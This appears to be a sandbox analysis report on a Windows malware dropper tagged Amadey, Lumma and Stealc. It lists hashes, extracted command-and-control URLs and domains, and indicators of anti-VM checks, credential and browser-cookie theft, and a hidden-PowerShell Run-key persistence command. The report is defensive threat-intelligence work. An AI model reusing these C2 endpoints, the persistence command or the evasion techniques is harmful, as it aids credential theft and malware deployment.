amadey | 496357be019ded9cae676d6a12a9a2b83402c35db4ce8fe1cff0df05f395baa2

Analysis

max time kernel
147s
max time network
151s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
28/11/2024, 23:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

1.7MB
MD5

37636f97d17a353df808d9db91e75bb6
SHA1

b5553325110e3099dccdb14656550331406224c5
SHA256

496357be019ded9cae676d6a12a9a2b83402c35db4ce8fe1cff0df05f395baa2
SHA512

cb02dcf3e64c368b26897065418d18facec44cb335151492017d560b47549aa99199f52e8e2562abbc5c32ffc5b0f284cab1c74cded60ac516566aeca9e23eec
SSDEEP

24576:bvXY+jR6cqeH8gYjewE+CXwUU1mefs9/qX5c+0hbckpeSvE8vqYASpuxeqT1J7I:b0leHajewaX9qhk/12M/uey1RI

Score

10^/10

amadey lumma stealc 9c9aa5 drum credential_access defense_evasion discovery dropper evasion execution persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

stealc

Botnet

drum

http://185.215.113.206

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

https://preside-comforter.sbs

https://savvy-steereo.sbs

https://copper-replace.sbs

https://record-envyp.sbs

https://slam-whipp.sbs

https://wrench-creter.sbs

https://looky-marked.sbs

https://plastic-mitten.sbs

https://tail-cease.cyou

Extracted

Family

lumma

https://tail-cease.cyou/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	9abca7001d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	89d16827fb.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	89d16827fb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	756f086b0f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9abca7001d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	20e4c5b9ea.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0ff245091b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	13952dcf24.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	BFCFBFBFBK.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	nbea1t8.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1108	powershell.exe
1372	powershell.exe
288	powershell.exe
1108	powershell.exe
1372	powershell.exe

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
1640	bitsadmin.exe
1588	bitsadmin.exe

Downloads MZ/PE file

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
2560	chrome.exe
2244	chrome.exe
2964	chrome.exe
2732	chrome.exe
2368	chrome.exe
2900	chrome.exe
3000	chrome.exe
2804	chrome.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BFCFBFBFBK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9abca7001d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	756f086b0f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	20e4c5b9ea.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	20e4c5b9ea.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0ff245091b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	756f086b0f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BFCFBFBFBK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	nbea1t8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	89d16827fb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	nbea1t8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9abca7001d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	89d16827fb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0ff245091b.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemCare1.0.lnk	msiexec.exe

Executes dropped EXE 23 IoCs

pid	Process
1264	BFCFBFBFBK.exe
2660	skotes.exe
2860	nbea1t8.exe
1872	tvtC9D3.exe
2352	uxN4wDZ.exe
2824	uxN4wDZ.exe
1716	uxN4wDZ.exe
1032	uxN4wDZ.exe
2272	uxN4wDZ.exe
2180	uxN4wDZ.exe
1980	uxN4wDZ.exe
1224	uxN4wDZ.exe
2304	uxN4wDZ.exe
880	TcMBq5M.exe
552	9abca7001d.exe
2736	89d16827fb.exe
1496	756f086b0f.exe
2900	SystemCare1.0.exe
1356	MSI133B.tmp
2280	20e4c5b9ea.exe
2904	0ff245091b.exe
1736	abed1c0233.exe
3336	13952dcf24.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	756f086b0f.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	0ff245091b.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	BFCFBFBFBK.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	20e4c5b9ea.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	13952dcf24.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	nbea1t8.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	9abca7001d.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Wine	89d16827fb.exe

Loads dropped DLL 47 IoCs

pid	Process
2740	file.exe
2740	file.exe
1564	cmd.exe
1564	cmd.exe
1264	BFCFBFBFBK.exe
1264	BFCFBFBFBK.exe
2660	skotes.exe
2660	skotes.exe
1872	tvtC9D3.exe
1872	tvtC9D3.exe
2660	skotes.exe
2660	skotes.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2352	uxN4wDZ.exe
2660	skotes.exe
2376	MsiExec.exe
2660	skotes.exe
2660	skotes.exe
1872	tvtC9D3.exe
2988	MsiExec.exe
2988	MsiExec.exe
2988	MsiExec.exe
2988	MsiExec.exe
2660	skotes.exe
2988	MsiExec.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2900	SystemCare1.0.exe
2660	skotes.exe
2660	skotes.exe
2660	skotes.exe
2660	skotes.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\1009905001\\nbea1t8.exe'\""	nbea1t8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\20e4c5b9ea.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1010055001\\20e4c5b9ea.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\0ff245091b.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1010056001\\0ff245091b.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\abed1c0233.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1010057001\\abed1c0233.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	TcMBq5M.exe
File opened (read-only)	\??\U:	TcMBq5M.exe
File opened (read-only)	\??\W:	TcMBq5M.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	TcMBq5M.exe
File opened (read-only)	\??\M:	TcMBq5M.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	TcMBq5M.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	TcMBq5M.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	TcMBq5M.exe
File opened (read-only)	\??\T:	TcMBq5M.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	TcMBq5M.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\K:	TcMBq5M.exe
File opened (read-only)	\??\V:	TcMBq5M.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	TcMBq5M.exe
File opened (read-only)	\??\S:	TcMBq5M.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	TcMBq5M.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	TcMBq5M.exe
File opened (read-only)	\??\I:	TcMBq5M.exe
File opened (read-only)	\??\J:	TcMBq5M.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	TcMBq5M.exe
File opened (read-only)	\??\R:	TcMBq5M.exe
File opened (read-only)	\??\Z:	TcMBq5M.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000500000001d9d0-909.dat	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
2740	file.exe
1264	BFCFBFBFBK.exe
2660	skotes.exe
2860	nbea1t8.exe
552	9abca7001d.exe
2736	89d16827fb.exe
1496	756f086b0f.exe
2280	20e4c5b9ea.exe
2904	0ff245091b.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2352 set thread context of 2304	2352	uxN4wDZ.exe	75

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSIFDE0.tmp	msiexec.exe
File created	C:\Windows\Installer\f78fbef.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D4.tmp	msiexec.exe
File created	C:\Windows\Installer\f78fbec.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f78fbec.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFE9C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI33.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI133B.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File created	C:\Windows\Installer\f78fbf1.msi	msiexec.exe
File created	C:\Windows\Tasks\skotes.job	BFCFBFBFBK.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSIFD72.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f78fbef.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBDA.tmp	msiexec.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
1356	MSI133B.tmp

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	756f086b0f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uxN4wDZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9abca7001d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	89d16827fb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BFCFBFBFBK.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uxN4wDZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0ff245091b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TcMBq5M.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	abed1c0233.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSI133B.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tvtC9D3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ping.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SystemCare1.0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20e4c5b9ea.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2540	ping.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
2368	taskkill.exe
2384	taskkill.exe
1428	taskkill.exe
2680	taskkill.exe
444	taskkill.exe

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_Classes\Local Settings	firefox.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	uxN4wDZ.exe
